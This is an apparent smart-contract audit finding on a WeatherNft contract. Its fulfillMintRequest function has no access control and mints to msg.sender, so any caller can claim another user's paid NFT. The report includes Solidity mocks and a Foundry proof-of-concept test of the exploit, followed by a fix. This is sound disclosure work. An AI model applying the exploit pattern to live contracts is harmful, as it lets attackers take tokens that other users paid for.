Description
The function fulfillMintRequest
is intended to be called by the Chainlink Functions router after off-chain computation completes, to mint a Weather NFT for the user who paid the mint fee. However, it is declared external
with no access control, and it incorrectly uses msg.sender
as the recipient of the minted token.
Vulnerability Details
Missing access restriction in fulfillMintRequest
. Any account can invoke this function with a valid requestId
; there is no guard (e.g., onlyOwner
or onlyFunctionsRouter
) to restrict calls to the Chainlink router.
Incorrect Recipient (msg.sender)
Inside the function, the contract does:
emit WeatherNFTMinted(requestId, msg.sender, Weather(weather));
_mint(msg.sender, tokenId);
Here, msg.sender refers to the caller of fulfillMintRequest
, not the original minter stored in s_funcReqIdToUserMintReq[requestId].user
.
Mapping Lookup Not Used for Minting
Although the contract stores the original minter in s_funcReqIdToUserMintReq[requestId].user
, that stored address is never used for _mint
Impact
Proof of Concept
User Mint Request
The contract emits WeatherNFTMintRequestSent
and stores s_funcReqIdToUserMintReq[reqId].user = user
.
Attacker called fullfiler
captures reqId.
Attacker calls fulfillMintRequest
.
Because there is no access check, fulfiller
is allowed.
Inside, msg.sender == fullfiler
, so _mint(fullfiler, tokenId) is executed.
fullfiler
receives the NFT without ever paying.
Proof of Code
For test purposes, we need to modify the WeatherNft::_sendFunctionsWeatherFetchRequest
function, making it virtual.
Important Note: This is made only for test purposes and should not be used in production.
Remember to revert the changes after testing.
- function _sendFunctionsWeatherFetchRequest(...) internal returns (...)
+ function _sendFunctionsWeatherFetchRequest(...) internal virtual returns (...)
Use mocks to create a fully self-contained testing environment that avoids any live Chainlink deployments. The MockLinkToken stands in for the real LINK token so your contract can receive, approve and spend LINK without a live ERC-20. The MockWeatherNft extends your real NFT contract to override external oracle calls and keeper logic, giving you a fixed request ID, a way to inject simulated oracle responses, and a controlled upkeep flow.
Testing Note: The MockLinkToken
contract simulates an ERC-20 LINK token by using native ETH balances. Instead of minting LINK tokens, ETH is assigned to the mock and treated as LINK to satisfy subscription-payment logic without requiring a real LINK deployment. This simplification enables focus on NFT minting, upkeeps, and oracle behaviors without managing a separate ERC-20 token.
Add this mock contracts to two new test files:
pragma solidity 0.8.29;
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";
contract MockLinkToken is LinkTokenInterface {
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
uint256 public totalSupply;
function mint(address to, uint256 amount) external {
balanceOf[to] += amount;
totalSupply += amount;
}
function transfer(address to, uint256 amt) external override returns (bool) {
require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
balanceOf[msg.sender] -= amt;
balanceOf[to] += amt;
return true;
}
function approve(address spender, uint256 amt) external override returns (bool) {
allowance[msg.sender][spender] = amt;
return true;
}
function transferFrom(address from, address to, uint256 amt) external override returns (bool) {
require(balanceOf[from] >= amt, "MockLink: insufficient");
if (from != msg.sender) {
require(allowance[from][msg.sender] >= amt, "MockLink: not allowed");
allowance[from][msg.sender] -= amt;
}
balanceOf[from] -= amt;
balanceOf[to] += amt;
return true;
}
function transferAndCall(address to, uint256 amt, bytes calldata) external override returns (bool) {
require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
balanceOf[msg.sender] -= amt;
balanceOf[to] += amt;
return true;
}
function decimals() external pure override returns (uint8) {
return 18;
}
function name() external pure override returns (string memory) {
return "MockLINK";
}
function symbol() external pure override returns (string memory) {
return "LINK";
}
function decreaseApproval(address spender, uint256 addedValue) external override returns (bool) {
uint256 old = allowance[msg.sender][spender];
if (addedValue >= old) {
allowance[msg.sender][spender] = 0;
} else {
allowance[msg.sender][spender] = old - addedValue;
}
return true;
}
function increaseApproval(address spender, uint256 subtractedValue) external override {
allowance[msg.sender][spender] += subtractedValue;
}
}
contract MockWeatherNft is WeatherNft {
bytes32 public constant FIXED_REQ = keccak256("MOCK_REQ");
constructor(
WeatherNftStore.Weather[] memory weathers,
string[] memory uris,
address functionsRouter,
WeatherNftStore.FunctionsConfig memory cfg,
uint256 mintPrice,
uint256 step,
address link,
address keeperRegistry,
address keeperRegistrar,
uint32 upkeepGaslimit
) WeatherNft(
weathers,
uris,
functionsRouter,
cfg,
mintPrice,
step,
link,
keeperRegistry,
keeperRegistrar,
upkeepGaslimit
) {}
function _sendFunctionsWeatherFetchRequest(
string memory,
string memory
) internal pure override returns (bytes32) {
return FIXED_REQ;
}
function simulateOracleResponse(
bytes32 reqId,
bytes memory resp,
bytes memory err
) public {
fulfillRequest(reqId, resp, err);
}
Then, add this test environment to a new test file to test the vulnerability:
import {Test, console2} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {WeatherNftStore} from "src/WeatherNftStore.sol";
import {MockLinkToken, MockWeatherNft} from "test/mocks/MockContracts.t.sol";
contract WeatherNftUnitTest is Test {
MockLinkToken public linkToken;
MockWeatherNft public weatherNft;
address public user;
address public functionsRouter = address(0x1234);
uint256 constant HEARTBEAT = 60;
uint256 constant LINK_PER_KEEP = 0.1 ether;
function setUp() public {
linkToken = new MockLinkToken();
WeatherNftStore.Weather[] memory weathers = new WeatherNftStore.Weather[](1);
weathers[0] = WeatherNftStore.Weather.SUNNY;
string[] memory uris = new string[](1);
uris[0] = "ipfs://dummy";
WeatherNftStore.FunctionsConfig memory cfg = WeatherNftStore.FunctionsConfig({
source: "",
encryptedSecretsURL: "",
subId: 0,
gasLimit: 200_000,
donId: bytes32(0)
});
weatherNft = new MockWeatherNft(
weathers,
uris,
functionsRouter,
cfg,
1 ether,
0.1 ether,
address(linkToken),
address(0),
address(0),
200_000
);
user = makeAddr("user");
vm.deal(user, 10 ether);
linkToken.mint(user, 1000 ether);
}
function test_UserCanFulfillWithoutRequest() public {
uint256 actualPrice = weatherNft.s_currentMintPrice();
vm.startPrank(user);
bytes32 reqId = weatherNft.requestMintWeatherNFT{ value: actualPrice }(
"28001", "ES", false, 0, 0
);
weatherNft.simulateOracleResponse(
reqId,
abi.encode(uint8(WeatherNftStore.Weather.SUNNY)),
""
);
vm.stopPrank();
address fulfiller = makeAddr("fulfiller");
vm.prank(fulfiller);
weatherNft.fulfillMintRequest(reqId);
console2.log("Fulfiller nft balance", weatherNft.balanceOf(fulfiller));
}
Recommendations
Restrict Access
Allow only the Chainlink router contract to call fulfillMintRequest:
Add address private immutable i_functionsRouter;
to WeatherNftStore
, initialize it in the WeatherNft
contract constructor and then apply this modifier to fulfillMintRequest
in WeatherNft
:
+ modifier onlyFunctionsRouter() {
+ require(msg.sender == i_functionsRouter, "Unauthorized");
+ _;
+ }
function fulfillMintRequest(bytes32 requestId)
external
+ onlyFunctionsRouter
{}